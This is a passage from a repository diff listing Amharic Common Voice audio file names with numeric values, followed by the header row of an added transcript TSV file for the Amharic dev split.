common_voice_am_37802626.mp3 6336
|
| 1173 |
+
common_voice_am_37802759.mp3 7560
|
| 1174 |
+
common_voice_am_37817072.mp3 6552
|
| 1175 |
+
common_voice_am_37814537.mp3 6696
|
| 1176 |
+
common_voice_am_37782818.mp3 5292
|
| 1177 |
+
common_voice_am_37805233.mp3 6444
|
| 1178 |
+
common_voice_am_37811864.mp3 7380
|
| 1179 |
+
common_voice_am_38629747.mp3 8100
|
| 1180 |
+
common_voice_am_37814500.mp3 6192
|
| 1181 |
+
common_voice_am_37842345.mp3 7236
|
| 1182 |
+
common_voice_am_38399419.mp3 4356
|
| 1183 |
+
common_voice_am_37890179.mp3 6336
|
| 1184 |
+
common_voice_am_37782853.mp3 8928
|
| 1185 |
+
common_voice_am_37815108.mp3 4536
|
| 1186 |
+
common_voice_am_37815104.mp3 6084
|
| 1187 |
+
common_voice_am_37805161.mp3 7380
|
| 1188 |
+
common_voice_am_37782926.mp3 5112
|
| 1189 |
+
common_voice_am_39362349.mp3 4860
|
| 1190 |
+
common_voice_am_38399406.mp3 7956
|
| 1191 |
+
common_voice_am_39643253.mp3 9360
|
| 1192 |
+
common_voice_am_39906908.mp3 5868
|
| 1193 |
+
common_voice_am_39362409.mp3 8028
|
| 1194 |
+
common_voice_am_39991896.mp3 9216
|
| 1195 |
+
common_voice_am_37802651.mp3 3888
|
| 1196 |
+
common_voice_am_37791656.mp3 8748
|
| 1197 |
+
common_voice_am_39936871.mp3 8388
|
| 1198 |
+
common_voice_am_39991895.mp3 9936
|
| 1199 |
+
common_voice_am_37772411.mp3 3060
|
| 1200 |
+
common_voice_am_37774927.mp3 5328
|
| 1201 |
+
common_voice_am_37767890.mp3 5724
|
| 1202 |
+
common_voice_am_37817057.mp3 6336
|
| 1203 |
+
common_voice_am_38229431.mp3 4176
|
| 1204 |
+
common_voice_am_37782578.mp3 5076
|
| 1205 |
+
common_voice_am_40192183.mp3 5364
|
| 1206 |
+
common_voice_am_39936948.mp3 5328
|
| 1207 |
+
common_voice_am_37802735.mp3 7740
|
| 1208 |
+
common_voice_am_37792182.mp3 4140
|
| 1209 |
+
common_voice_am_37790560.mp3 7740
|
| 1210 |
+
common_voice_am_40405941.mp3 8316
|
| 1211 |
+
common_voice_am_37791277.mp3 5400
|
| 1212 |
+
common_voice_am_37782643.mp3 6768
|
| 1213 |
+
common_voice_am_37791281.mp3 6336
|
| 1214 |
+
common_voice_am_37890158.mp3 5148
|
| 1215 |
+
common_voice_am_37842334.mp3 5148
|
| 1216 |
+
common_voice_am_37805318.mp3 5472
|
| 1217 |
+
common_voice_am_42249651.mp3 5688
|
| 1218 |
+
common_voice_am_37809555.mp3 4680
|
| 1219 |
+
common_voice_am_37790335.mp3 7488
|
| 1220 |
+
common_voice_am_37782762.mp3 7200
|
| 1221 |
+
common_voice_am_38331903.mp3 4968
|
| 1222 |
+
common_voice_am_37805207.mp3 6228
|
| 1223 |
+
common_voice_am_40955941.mp3 7956
|
| 1224 |
+
common_voice_am_38629745.mp3 8208
|
| 1225 |
+
common_voice_am_37791660.mp3 4824
|
| 1226 |
+
common_voice_am_37842344.mp3 10260
|
| 1227 |
+
common_voice_am_37767930.mp3 7308
|
| 1228 |
+
common_voice_am_37782549.mp3 4320
|
| 1229 |
+
common_voice_am_43227479.mp3 7020
|
| 1230 |
+
common_voice_am_37897077.mp3 8136
|
| 1231 |
+
common_voice_am_37761295.mp3 7164
|
| 1232 |
+
common_voice_am_37805311.mp3 8244
|
| 1233 |
+
common_voice_am_39643307.mp3 8028
|
| 1234 |
+
common_voice_am_39922759.mp3 7200
|
| 1235 |
+
common_voice_am_39967333.mp3 7416
|
| 1236 |
+
common_voice_am_39922749.mp3 10116
|
| 1237 |
+
common_voice_am_37791295.mp3 3168
|
| 1238 |
+
common_voice_am_37768204.mp3 6408
|
| 1239 |
+
common_voice_am_37805321.mp3 5436
|
| 1240 |
+
common_voice_am_37890182.mp3 2700
|
| 1241 |
+
common_voice_am_39362498.mp3 7308
|
| 1242 |
+
common_voice_am_37814565.mp3 3240
|
| 1243 |
+
common_voice_am_43227244.mp3 11808
|
| 1244 |
+
common_voice_am_37782934.mp3 8280
|
| 1245 |
+
common_voice_am_37805188.mp3 5076
|
| 1246 |
+
common_voice_am_39362808.mp3 8928
|
| 1247 |
+
common_voice_am_37791299.mp3 6696
|
| 1248 |
+
common_voice_am_38629724.mp3 6840
|
| 1249 |
+
common_voice_am_37805148.mp3 3276
|
| 1250 |
+
common_voice_am_37767888.mp3 7812
|
| 1251 |
+
common_voice_am_37782413.mp3 6696
|
| 1252 |
+
common_voice_am_37772450.mp3 7020
|
| 1253 |
+
common_voice_am_37802919.mp3 4500
|
| 1254 |
+
common_voice_am_37814433.mp3 8064
|
| 1255 |
+
common_voice_am_37814353.mp3 4320
|
| 1256 |
+
common_voice_am_39643305.mp3 5688
|
| 1257 |
+
common_voice_am_37952754.mp3 2556
|
| 1258 |
+
common_voice_am_38629749.mp3 7020
|
| 1259 |
+
common_voice_am_38583173.mp3 4140
|
| 1260 |
+
common_voice_am_37888652.mp3 7380
|
| 1261 |
+
common_voice_am_37790605.mp3 3960
|
| 1262 |
+
common_voice_am_37805251.mp3 6300
|
| 1263 |
+
common_voice_am_37782936.mp3 3312
|
| 1264 |
+
common_voice_am_37814544.mp3 8784
|
| 1265 |
+
common_voice_am_37814502.mp3 6516
|
| 1266 |
+
common_voice_am_37782787.mp3 8568
|
| 1267 |
+
common_voice_am_38630664.mp3 7308
|
| 1268 |
+
common_voice_am_37782877.mp3 8244
|
| 1269 |
+
common_voice_am_37814621.mp3 6660
|
| 1270 |
+
common_voice_am_37805163.mp3 4968
|
| 1271 |
+
common_voice_am_37767994.mp3 7272
|
| 1272 |
+
common_voice_am_37805310.mp3 9324
|
| 1273 |
+
common_voice_am_37782761.mp3 5112
|
| 1274 |
+
common_voice_am_37802350.mp3 5436
|
| 1275 |
+
common_voice_am_38630640.mp3 4140
|
| 1276 |
+
common_voice_am_37768146.mp3 5688
|
| 1277 |
+
common_voice_am_37814547.mp3 6120
|
| 1278 |
+
common_voice_am_38629787.mp3 3276
|
| 1279 |
+
common_voice_am_39936949.mp3 8136
|
| 1280 |
+
common_voice_am_37888677.mp3 7308
|
| 1281 |
+
common_voice_am_39991835.mp3 7704
|
| 1282 |
+
common_voice_am_39967277.mp3 7380
|
| 1283 |
+
common_voice_am_39906911.mp3 5904
|
| 1284 |
+
common_voice_am_37782388.mp3 5616
|
| 1285 |
+
common_voice_am_37814419.mp3 7596
|
| 1286 |
+
common_voice_am_39906861.mp3 5544
|
| 1287 |
+
common_voice_am_39936943.mp3 8676
|
| 1288 |
+
common_voice_am_37790569.mp3 3060
|
| 1289 |
+
common_voice_am_37768121.mp3 5292
|
| 1290 |
+
common_voice_am_39936927.mp3 6660
|
| 1291 |
+
common_voice_am_37791280.mp3 7056
|
| 1292 |
+
common_voice_am_39643455.mp3 6588
|
| 1293 |
+
common_voice_am_37809603.mp3 5076
|
| 1294 |
+
common_voice_am_37768414.mp3 5184
|
| 1295 |
+
common_voice_am_37817063.mp3 4356
|
| 1296 |
+
common_voice_am_37791305.mp3 6696
|
| 1297 |
+
common_voice_am_37812449.mp3 6408
|
| 1298 |
+
common_voice_am_37814368.mp3 3996
|
| 1299 |
+
common_voice_am_37782827.mp3 3240
|
| 1300 |
+
common_voice_am_37790332.mp3 7020
|
| 1301 |
+
common_voice_am_37790559.mp3 4860
|
| 1302 |
+
common_voice_am_37805186.mp3 3312
|
| 1303 |
+
common_voice_am_37814509.mp3 8316
|
| 1304 |
+
common_voice_am_37805293.mp3 5544
|
| 1305 |
+
common_voice_am_37774906.mp3 5616
|
| 1306 |
+
common_voice_am_37814481.mp3 4860
|
| 1307 |
+
common_voice_am_37805210.mp3 3528
|
| 1308 |
+
common_voice_am_37802883.mp3 6120
|
| 1309 |
+
common_voice_am_39638983.mp3 8388
|
| 1310 |
+
common_voice_am_39362703.mp3 4680
|
| 1311 |
+
common_voice_am_37791904.mp3 3564
|
| 1312 |
+
common_voice_am_39966176.mp3 6588
|
| 1313 |
+
common_voice_am_37809562.mp3 6012
|
| 1314 |
+
common_voice_am_38630587.mp3 5868
|
| 1315 |
+
common_voice_am_37761315.mp3 4176
|
| 1316 |
+
common_voice_am_38399438.mp3 4356
|
| 1317 |
+
common_voice_am_37888679.mp3 7020
|
| 1318 |
+
common_voice_am_37817081.mp3 5760
|
| 1319 |
+
common_voice_am_37790603.mp3 6048
|
| 1320 |
+
common_voice_am_37802801.mp3 7740
|
| 1321 |
+
common_voice_am_39643458.mp3 5976
|
| 1322 |
+
common_voice_am_37805252.mp3 7524
|
| 1323 |
+
common_voice_am_39936885.mp3 8316
|
| 1324 |
+
common_voice_am_37790446.mp3 2448
|
| 1325 |
+
common_voice_am_37782860.mp3 7092
|
| 1326 |
+
common_voice_am_40882228.mp3 9612
|
| 1327 |
+
common_voice_am_39936909.mp3 5760
|
| 1328 |
+
common_voice_am_38399407.mp3 5616
|
| 1329 |
+
common_voice_am_37802261.mp3 7236
|
| 1330 |
+
common_voice_am_37805212.mp3 5544
|
| 1331 |
+
common_voice_am_37890167.mp3 7308
|
| 1332 |
+
common_voice_am_37814498.mp3 4536
|
| 1333 |
+
common_voice_am_38583156.mp3 6120
|
| 1334 |
+
common_voice_am_43227476.mp3 7956
|
| 1335 |
+
common_voice_am_37782848.mp3 7596
|
| 1336 |
+
common_voice_am_37790338.mp3 5580
|
| 1337 |
+
common_voice_am_37782423.mp3 4968
|
| 1338 |
+
common_voice_am_39643252.mp3 3996
|
| 1339 |
+
common_voice_am_39956496.mp3 5184
|
| 1340 |
+
common_voice_am_37782829.mp3 7308
|
| 1341 |
+
common_voice_am_39979862.mp3 8100
|
| 1342 |
+
common_voice_am_37809606.mp3 7380
|
| 1343 |
+
common_voice_am_37811890.mp3 5400
|
| 1344 |
+
common_voice_am_37802697.mp3 7560
|
| 1345 |
+
common_voice_am_38583319.mp3 4860
|
| 1346 |
+
common_voice_am_37782875.mp3 6228
|
| 1347 |
+
common_voice_am_37890183.mp3 5220
|
| 1348 |
+
common_voice_am_37768411.mp3 4752
|
| 1349 |
+
common_voice_am_37802928.mp3 3780
|
| 1350 |
+
common_voice_am_37782442.mp3 7596
|
| 1351 |
+
common_voice_am_39922748.mp3 5328
|
| 1352 |
+
common_voice_am_37805259.mp3 3780
|
| 1353 |
+
common_voice_am_37802162.mp3 3060
|
| 1354 |
+
common_voice_am_37814567.mp3 8856
|
| 1355 |
+
common_voice_am_39643287.mp3 7020
|
| 1356 |
+
common_voice_am_37768044.mp3 7416
|
| 1357 |
+
common_voice_am_37768138.mp3 7128
|
| 1358 |
+
common_voice_am_43353694.mp3 6696
|
| 1359 |
+
common_voice_am_39979866.mp3 8460
|
| 1360 |
+
common_voice_am_37782552.mp3 7056
|
| 1361 |
+
common_voice_am_37802342.mp3 9000
|
| 1362 |
+
common_voice_am_39967387.mp3 6264
|
| 1363 |
+
common_voice_am_37814479.mp3 3564
|
| 1364 |
+
common_voice_am_39967419.mp3 8748
|
| 1365 |
+
common_voice_am_37888650.mp3 9180
|
| 1366 |
+
common_voice_am_37790355.mp3 2700
|
| 1367 |
+
common_voice_am_39967389.mp3 5616
|
| 1368 |
+
common_voice_am_38583172.mp3 5400
|
| 1369 |
+
common_voice_am_38583135.mp3 4608
|
| 1370 |
+
common_voice_am_39643175.mp3 8928
|
| 1371 |
+
common_voice_am_39362752.mp3 8676
|
| 1372 |
+
common_voice_am_37782902.mp3 5220
|
| 1373 |
+
common_voice_am_37791909.mp3 3996
|
| 1374 |
+
common_voice_am_37809556.mp3 6552
|
| 1375 |
+
common_voice_am_37814553.mp3 4680
|
| 1376 |
+
common_voice_am_39969029.mp3 6120
|
| 1377 |
+
common_voice_am_39936939.mp3 4680
|
| 1378 |
+
common_voice_am_37782619.mp3 5832
|
| 1379 |
+
common_voice_am_37791892.mp3 3780
|
| 1380 |
+
common_voice_am_37805281.mp3 6192
|
| 1381 |
+
common_voice_am_37768043.mp3 3492
|
| 1382 |
+
common_voice_am_37805255.mp3 4428
|
| 1383 |
+
common_voice_am_37782826.mp3 7848
|
| 1384 |
+
common_voice_am_37791900.mp3 8244
|
| 1385 |
+
common_voice_am_38630638.mp3 6048
|
| 1386 |
+
common_voice_am_37805211.mp3 8388
|
| 1387 |
+
common_voice_am_37814397.mp3 5220
|
| 1388 |
+
common_voice_am_39966177.mp3 7920
|
| 1389 |
+
common_voice_am_39991875.mp3 5364
|
| 1390 |
+
common_voice_am_37791282.mp3 4860
|
| 1391 |
+
common_voice_am_39936886.mp3 3420
|
| 1392 |
+
common_voice_am_37782847.mp3 3636
|
| 1393 |
+
common_voice_am_43293324.mp3 12600
|
| 1394 |
+
common_voice_am_40192186.mp3 14004
|
| 1395 |
+
common_voice_am_37782876.mp3 5832
|
| 1396 |
+
common_voice_am_37772495.mp3 7092
|
| 1397 |
+
common_voice_am_39967425.mp3 5868
|
| 1398 |
+
common_voice_am_37782797.mp3 6732
|
| 1399 |
+
common_voice_am_37842343.mp3 4860
|
| 1400 |
+
common_voice_am_38583136.mp3 7056
|
| 1401 |
+
common_voice_am_38586628.mp3 10116
|
| 1402 |
+
common_voice_am_37814573.mp3 3816
|
| 1403 |
+
common_voice_am_37782441.mp3 2880
|
| 1404 |
+
common_voice_am_39967377.mp3 6372
|
| 1405 |
+
common_voice_am_37772380.mp3 5868
|
| 1406 |
+
common_voice_am_37791902.mp3 7560
|
| 1407 |
+
common_voice_am_42492769.mp3 4860
|
| 1408 |
+
common_voice_am_37814574.mp3 5580
|
| 1409 |
+
common_voice_am_37782406.mp3 5040
|
| 1410 |
+
common_voice_am_38630561.mp3 8496
|
| 1411 |
+
common_voice_am_37805301.mp3 4392
|
| 1412 |
+
common_voice_am_38583116.mp3 7956
|
| 1413 |
+
common_voice_am_37890165.mp3 2808
|
| 1414 |
+
common_voice_am_37791293.mp3 6156
|
| 1415 |
+
common_voice_am_37791933.mp3 7128
|
| 1416 |
+
common_voice_am_37814410.mp3 3780
|
| 1417 |
+
common_voice_am_39991840.mp3 3564
|
| 1418 |
+
common_voice_am_39922761.mp3 6444
|
| 1419 |
+
common_voice_am_37790334.mp3 5688
|
| 1420 |
+
common_voice_am_37817878.mp3 4860
|
| 1421 |
+
common_voice_am_37790473.mp3 4608
|
| 1422 |
+
common_voice_am_39936932.mp3 4500
|
| 1423 |
+
common_voice_am_37782415.mp3 5328
|
| 1424 |
+
common_voice_am_37805257.mp3 4716
|
| 1425 |
+
common_voice_am_39936880.mp3 9540
|
| 1426 |
+
common_voice_am_37782772.mp3 6768
|
| 1427 |
+
common_voice_am_43227475.mp3 10656
|
| 1428 |
+
common_voice_am_43353692.mp3 11556
|
| 1429 |
+
common_voice_am_37774909.mp3 6660
|
| 1430 |
+
common_voice_am_39991861.mp3 9468
|
| 1431 |
+
common_voice_am_43293328.mp3 13968
|
| 1432 |
+
common_voice_am_39362704.mp3 4068
|
| 1433 |
+
common_voice_am_37802317.mp3 6300
|
| 1434 |
+
common_voice_am_37782899.mp3 5400
|
| 1435 |
+
common_voice_am_39906912.mp3 5868
|
| 1436 |
+
common_voice_am_37790333.mp3 7776
|
| 1437 |
+
common_voice_am_39362353.mp3 7848
|
| 1438 |
+
common_voice_am_37802681.mp3 8748
|
| 1439 |
+
common_voice_am_37779568.mp3 5400
|
| 1440 |
+
common_voice_am_39936920.mp3 6156
|
| 1441 |
+
common_voice_am_37897075.mp3 6408
|
| 1442 |
+
common_voice_am_37817079.mp3 5148
|
| 1443 |
+
common_voice_am_37814577.mp3 5328
|
| 1444 |
+
common_voice_am_38630560.mp3 4428
|
| 1445 |
+
common_voice_am_37768191.mp3 5976
|
| 1446 |
+
common_voice_am_39991843.mp3 8280
|
| 1447 |
+
common_voice_am_38630570.mp3 5976
|
| 1448 |
+
common_voice_am_37814586.mp3 3456
|
| 1449 |
+
common_voice_am_37802308.mp3 6840
|
| 1450 |
+
common_voice_am_37761314.mp3 7164
|
| 1451 |
+
common_voice_am_37805175.mp3 7776
|
| 1452 |
+
common_voice_am_38399422.mp3 4536
|
| 1453 |
+
common_voice_am_37890178.mp3 5076
|
| 1454 |
+
common_voice_am_37782935.mp3 8280
|
| 1455 |
+
common_voice_am_37768226.mp3 6876
|
| 1456 |
+
common_voice_am_37791916.mp3 4464
|
| 1457 |
+
common_voice_am_42674801.mp3 7272
|
| 1458 |
+
common_voice_am_37782220.mp3 3888
|
| 1459 |
+
common_voice_am_37805250.mp3 6084
|
| 1460 |
+
common_voice_am_37774930.mp3 5544
|
| 1461 |
+
common_voice_am_37814428.mp3 7668
|
| 1462 |
+
common_voice_am_37791283.mp3 4500
|
| 1463 |
+
common_voice_am_37774928.mp3 8496
|
| 1464 |
+
common_voice_am_39643514.mp3 3168
|
| 1465 |
+
common_voice_am_37768119.mp3 6300
|
| 1466 |
+
common_voice_am_38630559.mp3 7488
|
| 1467 |
+
common_voice_am_37772415.mp3 3816
|
| 1468 |
+
common_voice_am_37811850.mp3 6804
|
| 1469 |
+
common_voice_am_39643237.mp3 5580
|
| 1470 |
+
common_voice_am_37782862.mp3 4536
|
| 1471 |
+
common_voice_am_37807187.mp3 4356
|
| 1472 |
+
common_voice_am_38670134.mp3 4680
|
| 1473 |
+
common_voice_am_39936887.mp3 6516
|
| 1474 |
+
common_voice_am_39362478.mp3 7668
|
| 1475 |
+
common_voice_am_37761312.mp3 7020
|
| 1476 |
+
common_voice_am_38583139.mp3 8460
|
| 1477 |
+
common_voice_am_37790584.mp3 5400
|
| 1478 |
+
common_voice_am_37815094.mp3 7164
|
| 1479 |
+
common_voice_am_39967423.mp3 8136
|
| 1480 |
+
common_voice_am_39967331.mp3 5436
|
| 1481 |
+
common_voice_am_37814607.mp3 6732
|
| 1482 |
+
common_voice_am_39991851.mp3 7380
|
| 1483 |
+
common_voice_am_40955938.mp3 8280
|
| 1484 |
+
common_voice_am_37768042.mp3 5292
|
| 1485 |
+
common_voice_am_39631547.mp3 3888
|
| 1486 |
+
common_voice_am_37782849.mp3 7308
|
| 1487 |
+
common_voice_am_37767945.mp3 6588
|
| 1488 |
+
common_voice_am_38630630.mp3 5076
|
| 1489 |
+
common_voice_am_37814521.mp3 6804
|
| 1490 |
+
common_voice_am_37805240.mp3 4176
|
| 1491 |
+
common_voice_am_37772418.mp3 5220
|
| 1492 |
+
common_voice_am_37767928.mp3 8820
|
| 1493 |
+
common_voice_am_39906910.mp3 9648
|
| 1494 |
+
common_voice_am_37772496.mp3 6624
|
| 1495 |
+
common_voice_am_39362806.mp3 6300
|
| 1496 |
+
common_voice_am_37802715.mp3 7668
|
| 1497 |
+
common_voice_am_37888996.mp3 5940
|
| 1498 |
+
common_voice_am_39967334.mp3 5076
|
| 1499 |
+
common_voice_am_37952751.mp3 2880
|
| 1500 |
+
common_voice_am_37814365.mp3 3816
|
| 1501 |
+
common_voice_am_37814431.mp3 6876
|
| 1502 |
+
common_voice_am_37791306.mp3 7416
|
| 1503 |
+
common_voice_am_38399404.mp3 8280
|
| 1504 |
+
common_voice_am_37772497.mp3 6552
|
| 1505 |
+
common_voice_am_39362642.mp3 2808
|
| 1506 |
+
common_voice_am_37772444.mp3 3168
|
| 1507 |
+
common_voice_am_39643513.mp3 8460
|
| 1508 |
+
common_voice_am_37809551.mp3 5472
|
| 1509 |
+
common_voice_am_39643308.mp3 7416
|
| 1510 |
+
common_voice_am_37791285.mp3 6840
|
| 1511 |
+
common_voice_am_37782439.mp3 3924
|
| 1512 |
+
common_voice_am_37772381.mp3 5292
|
| 1513 |
+
common_voice_am_37890185.mp3 6696
|
| 1514 |
+
common_voice_am_37791286.mp3 3456
|
| 1515 |
+
common_voice_am_37814518.mp3 6264
|
| 1516 |
+
common_voice_am_37782773.mp3 7632
|
| 1517 |
+
common_voice_am_37790458.mp3 2916
|
| 1518 |
+
common_voice_am_37817083.mp3 7380
|
| 1519 |
+
common_voice_am_39991839.mp3 3348
|
| 1520 |
+
common_voice_am_37805221.mp3 4788
|
| 1521 |
+
common_voice_am_38586636.mp3 9036
|
| 1522 |
+
common_voice_am_37767944.mp3 5436
|
| 1523 |
+
common_voice_am_38629788.mp3 8748
|
| 1524 |
+
common_voice_am_39643542.mp3 6876
|
| 1525 |
+
common_voice_am_37779566.mp3 8388
|
| 1526 |
+
common_voice_am_37805280.mp3 8532
|
| 1527 |
+
common_voice_am_38224455.mp3 6372
|
| 1528 |
+
common_voice_am_37782937.mp3 4176
|
| 1529 |
+
common_voice_am_38399440.mp3 4788
|
| 1530 |
+
common_voice_am_37792184.mp3 8028
|
| 1531 |
+
common_voice_am_39362371.mp3 3888
|
| 1532 |
+
common_voice_am_37782940.mp3 7524
|
| 1533 |
+
common_voice_am_37767891.mp3 8604
|
| 1534 |
+
common_voice_am_39967379.mp3 7056
|
| 1535 |
+
common_voice_am_37790432.mp3 4608
|
| 1536 |
+
common_voice_am_37790589.mp3 4680
|
| 1537 |
+
common_voice_am_37802197.mp3 7956
|
| 1538 |
+
common_voice_am_37805231.mp3 3456
|
| 1539 |
+
common_voice_am_37817877.mp3 6984
|
| 1540 |
+
common_voice_am_37782414.mp3 4680
|
| 1541 |
+
common_voice_am_39991893.mp3 6156
|
| 1542 |
+
common_voice_am_38583284.mp3 4140
|
| 1543 |
+
common_voice_am_37761294.mp3 5904
|
| 1544 |
+
common_voice_am_37774929.mp3 5652
|
| 1545 |
+
common_voice_am_37802815.mp3 7848
|
| 1546 |
+
common_voice_am_39936888.mp3 4500
|
| 1547 |
+
common_voice_am_39966174.mp3 5400
|
| 1548 |
+
common_voice_am_39936894.mp3 6588
|
| 1549 |
+
common_voice_am_37802245.mp3 6120
|
| 1550 |
+
common_voice_am_37782425.mp3 3600
|
| 1551 |
+
common_voice_am_37767914.mp3 7848
|
| 1552 |
+
common_voice_am_37782863.mp3 3348
|
| 1553 |
+
common_voice_am_37761298.mp3 5508
|
| 1554 |
+
common_voice_am_39967375.mp3 3708
|
| 1555 |
+
common_voice_am_42422282.mp3 6336
|
| 1556 |
+
common_voice_am_39922764.mp3 8172
|
| 1557 |
+
common_voice_am_37802624.mp3 8856
|
| 1558 |
+
common_voice_am_37767931.mp3 3528
|
| 1559 |
+
common_voice_am_39967418.mp3 9936
|
| 1560 |
+
common_voice_am_37814535.mp3 7776
|
| 1561 |
+
common_voice_am_39638982.mp3 6156
|
| 1562 |
+
common_voice_am_39991833.mp3 4896
|
| 1563 |
+
common_voice_am_39643233.mp3 5616
|
| 1564 |
+
common_voice_am_38630571.mp3 5220
|
| 1565 |
+
common_voice_am_39906865.mp3 9396
|
| 1566 |
+
common_voice_am_37791893.mp3 8172
|
| 1567 |
+
common_voice_am_37805261.mp3 5112
|
| 1568 |
+
common_voice_am_37888994.mp3 5328
|
| 1569 |
+
common_voice_am_38630665.mp3 5220
|
| 1570 |
+
common_voice_am_38630613.mp3 7488
|
| 1571 |
+
common_voice_am_39936934.mp3 6336
|
| 1572 |
+
common_voice_am_37802738.mp3 2700
|
| 1573 |
+
common_voice_am_37814576.mp3 5760
|
| 1574 |
+
common_voice_am_39643475.mp3 7200
|
| 1575 |
+
common_voice_am_37802246.mp3 9180
|
| 1576 |
+
common_voice_am_37802695.mp3 8748
|
| 1577 |
+
common_voice_am_39922743.mp3 5760
|
| 1578 |
+
common_voice_am_39362500.mp3 3780
|
| 1579 |
+
common_voice_am_39969024.mp3 5976
|
| 1580 |
+
common_voice_am_39643288.mp3 3600
|
| 1581 |
+
common_voice_am_37814501.mp3 3348
|
| 1582 |
+
common_voice_am_39967347.mp3 3132
|
| 1583 |
+
common_voice_am_37802221.mp3 7740
|
| 1584 |
+
common_voice_am_38399441.mp3 7128
|
| 1585 |
+
common_voice_am_39643198.mp3 8676
|
| 1586 |
+
common_voice_am_37782788.mp3 4608
|
| 1587 |
+
common_voice_am_39967426.mp3 8856
|
| 1588 |
+
common_voice_am_37805254.mp3 3924
|
| 1589 |
+
common_voice_am_37815097.mp3 6408
|
| 1590 |
+
common_voice_am_39991854.mp3 9036
|
| 1591 |
+
common_voice_am_37790614.mp3 8748
|
| 1592 |
+
common_voice_am_37814480.mp3 5724
|
| 1593 |
+
common_voice_am_37802847.mp3 7056
|
| 1594 |
+
common_voice_am_37815101.mp3 8172
|
| 1595 |
+
common_voice_am_42492794.mp3 7596
|
| 1596 |
+
common_voice_am_38630672.mp3 7488
|
| 1597 |
+
common_voice_am_37790586.mp3 4716
|
| 1598 |
+
common_voice_am_37807179.mp3 2736
|
| 1599 |
+
common_voice_am_37790471.mp3 8640
|
| 1600 |
+
common_voice_am_37802694.mp3 3276
|
| 1601 |
+
common_voice_am_37809557.mp3 8424
|
| 1602 |
+
common_voice_am_39991863.mp3 5148
|
| 1603 |
+
common_voice_am_39956493.mp3 5868
|
| 1604 |
+
common_voice_am_37802652.mp3 5688
|
| 1605 |
+
common_voice_am_39991892.mp3 3240
|
| 1606 |
+
common_voice_am_37805222.mp3 4140
|
| 1607 |
+
common_voice_am_37805203.mp3 5040
|
| 1608 |
+
common_voice_am_37782913.mp3 5004
|
| 1609 |
+
common_voice_am_37814367.mp3 9792
|
| 1610 |
+
common_voice_am_39956492.mp3 7668
|
| 1611 |
+
common_voice_am_37822747.mp3 7092
|
| 1612 |
+
common_voice_am_39631546.mp3 8928
|
| 1613 |
+
common_voice_am_38586598.mp3 4968
|
| 1614 |
+
common_voice_am_39936900.mp3 8856
|
| 1615 |
+
common_voice_am_39362675.mp3 6156
|
| 1616 |
+
common_voice_am_37805244.mp3 5832
|
| 1617 |
+
common_voice_am_37767995.mp3 3924
|
| 1618 |
+
common_voice_am_37811849.mp3 8424
|
| 1619 |
+
common_voice_am_37805205.mp3 6048
|
| 1620 |
+
common_voice_am_39991891.mp3 6444
|
| 1621 |
+
common_voice_am_37811846.mp3 7020
|
| 1622 |
+
common_voice_am_39922746.mp3 4860
|
| 1623 |
+
common_voice_am_37779483.mp3 5760
|
| 1624 |
+
common_voice_am_37774931.mp3 5256
|
| 1625 |
+
common_voice_am_37791920.mp3 6984
|
| 1626 |
+
common_voice_am_37842333.mp3 7308
|
| 1627 |
+
common_voice_am_37811888.mp3 4104
|
| 1628 |
+
common_voice_am_37792185.mp3 5004
|
| 1629 |
+
common_voice_am_38630590.mp3 7020
|
| 1630 |
+
common_voice_am_37807176.mp3 6660
|
| 1631 |
+
common_voice_am_39643200.mp3 7200
|
| 1632 |
+
common_voice_am_37782706.mp3 7092
|
transcript/am/dev.tsv
ADDED
|
@@ -0,0 +1,249 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
client_id path sentence_id sentence sentence_domain up_votes down_votes age gender accents variant locale segment
|
| 2 |
+
